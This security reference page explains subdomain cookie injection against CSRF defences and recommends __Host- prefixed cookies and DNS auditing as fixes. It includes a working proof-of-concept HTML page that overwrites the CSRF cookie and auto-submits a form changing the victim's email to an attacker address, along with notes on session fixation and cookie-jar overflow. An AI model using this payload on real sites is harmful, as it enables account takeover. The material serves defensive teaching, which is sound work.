Subdomain Cookie Injection
Overwriting the CSRF cookie from a sibling subdomain, why SameSite offers zero protection here, and why __Host- is the fix.
The blind spot in every SameSite deployment
SameSite compares sites, and a site is the registrable domain. evil.example.com and app.example.com are the same site. Every SameSite value — Lax, Strict, all of it — sends the cookie on a request between them.
That alone would be bad enough. The sharper problem is that a subdomain can also write cookies into the parent's scope, because cookie scope is domain-based and a cookie set with Domain=example.com from evil.example.com is received by app.example.com.
So an attacker who controls any subdomain gets two things at once:
- A same-site position, defeating
SameSiteentirely — includingStrict. - The ability to overwrite cookies, defeating naive double-submit and, depending on the application, session handling too.
This is the most under-appreciated fact in modern CSRF work. Teams migrate to SameSite=Lax, declare CSRF solved, and leave a forgotten status.example.com pointing at a deprovisioned cloud bucket.
How an attacker gets a subdomain
More easily than most threat models assume:
- Dangling DNS / subdomain takeover. A
CNAMEto a deprovisioned S3 bucket, Heroku app, Azure resource, GitHub Pages site, or SaaS tenant. Whoever claims that name next controls the subdomain. This is the most common route and it is discoverable with passive DNS plus a takeover scanner. - Wildcard tenant subdomains. Any product offering
customer.example.comhands every customer a same-site position by design. - User-controlled content on a subdomain — a docs site, a status page, a support portal, a marketing microsite on a shared CMS.
- XSS anywhere on any subdomain. A reflected XSS on a forgotten legacy host is enough; it does not need to be on the app itself.
- A less-hardened host. Staging, admin tooling, a vendor-hosted portal, an old application nobody patches.
- A network position on plaintext HTTP for any subdomain. Cookie overwrite rules ignore the
Secureflag, so a non-Securecookie set overhttp://anything.example.comcan shadow aSecureone of the same name.
On any assessment, enumerate subdomains before concluding that a SameSite deployment protects the application.
The attack
<!doctype html>
<html>
<body>
<script>
// Step 1: overwrite the CSRF cookie in the parent domain's scope.
//
// Domain=.example.com makes app.example.com receive it. The Path is set
// deliberately: when two cookies of the same name are in scope, the
// browser sends the MORE SPECIFIC path first, and most server-side
// parsers take the first occurrence. That gives the attacker control
// over which value wins.
document.cookie =
'csrf=attacker-chosen; domain=.example.com; path=/account'
</script>
<!-- Step 2: submit the same value in the body. The server compares the
cookie to the body, they match, and the request is accepted.
Nothing here required READING the victim's cookie. Naive
double-submit assumes the token is unreadable AND unwritable, and
only the first of those is true. -->
<form id="poc" action="https://app.example.com/account/email" method="POST">
<input type="hidden" name="csrf" value="attacker-chosen" />
<input type="hidden" name="email" value="attacker@evil.example" />
</form>
<script>document.getElementById('poc').submit()</script>
</body>
</html>Two cookies, one header
# What the server receives. Both cookies are in scope, so both are sent, in
# one header, separated by "; ".
POST /account/email HTTP/1.1
Host: app.example.com
Cookie: csrf=attacker-chosen; session=eyJ1c2VyIjoidmljdGltIn0; csrf=legitimate-value
Content-Type: application/x-www-form-urlencoded
csrf=attacker-chosen&email=attacker@evil.example
# The RFC does not define which duplicate a server should pick, and there is
# no way for the server to tell which one it set. Almost every parser takes
# the first occurrence:
#
# Express / cookie-parser first
# Django first
# PHP $_COOKIE LAST (differs -- worth testing)
# Go net/http Cookie() first
#
# Path specificity decides the ordering, and the attacker controls the path
# on the cookie they set. So they can generally arrange to win.What else this reaches
Worth mentioning when reporting, because it raises the severity beyond the CSRF itself:
- Session fixation. If the session cookie is scoped to the parent domain, the attacker can overwrite it and force the victim into an attacker-controlled session. Anything the victim then does happens in the attacker's account — including saving a payment method or uploading a document. See Login CSRF and Session Fixation.
- Cookie jar overflow. Browsers cap cookies per domain. Setting enough cookies from a subdomain evicts the legitimate ones, which can force a logout or push the application into an unauthenticated fallback path.
- Breaking the application's own defences. Overwriting a locale, feature-flag, or A/B-test cookie can steer the victim onto a code path with weaker validation.
- Reading, in some cases. A subdomain cannot read a host-only cookie set by the parent, but it can read one the parent set with
Domain=example.com. Widely-scoped session cookies are directly stealable from a subdomain with XSS.
Prevention
Set-Cookie: csrf=8f3a...; Domain=.example.com; Path=/; Secure; SameSite=Lax
Set-Cookie: session=eyJ...; Domain=.example.com; Path=/; Secure; HttpOnly; SameSite=Lax
# Domain=.example.com on both. Every subdomain receives them and every
# subdomain can overwrite them.
#
# SameSite=Lax is doing nothing against this attacker -- they are same-site.
# Secure is doing nothing against overwriting -- the flag is not part of a
# cookie's identity for overwrite purposes.
#
# The Domain attribute is usually added so that api.example.com can see the
# session. That is a real requirement, and it has a cost that should be a
# deliberate decision rather than a default.Checklist
- Use
__Host-prefixed cookies for the session and any CSRF cookie. It is a rename plus droppingDomain, and it closes the whole class. - Do not set
Domainunless a subdomain genuinely needs the cookie. Host-only is the default for a reason. - Use a signed token, so an overwritten cookie cannot carry a valid MAC even if the attacker can write it. Defence in depth with the prefix. See Double-Submit Cookies.
- Audit DNS for dangling records on a schedule, not once. This is the entry point for most real instances.
- Treat
Sec-Fetch-Site: same-siteas untrusted if any subdomain hosts third-party or user content. - HSTS with
includeSubDomains, preloaded, to close the plaintext-overwrite route. - Test parser behaviour on duplicate cookie names — send two and see which the application uses. PHP differs from most others.
Related
Cookies are scoped by domain, not origin: who can set one, who receives one, and what __Host-, Secure, Path, and Partitioned actually change.
Naive double-submit and why OWASP now discourages it, then the HMAC-signed and encrypted-token variants that fix it.
Exactly when Lax, Strict, None, and an absent attribute attach a cookie to a cross-site request — and why the three engines disagree.
Lax top-level GET, Chromium's 120-second Lax+POST window, on-site redirect gadgets against Strict, and schemeful downgrade.
Forcing the victim into the attacker's session, the OAuth state parameter, callback CSRF, and account-linking takeover.
Sec-Fetch-Site, Mode and Dest, Origin checks done correctly, the missing-header decision, and Resource Isolation Policy.
The layering order — SameSite=Lax, __Host- prefix, Fetch Metadata rejection, then a token — plus re-authentication for high-value operations.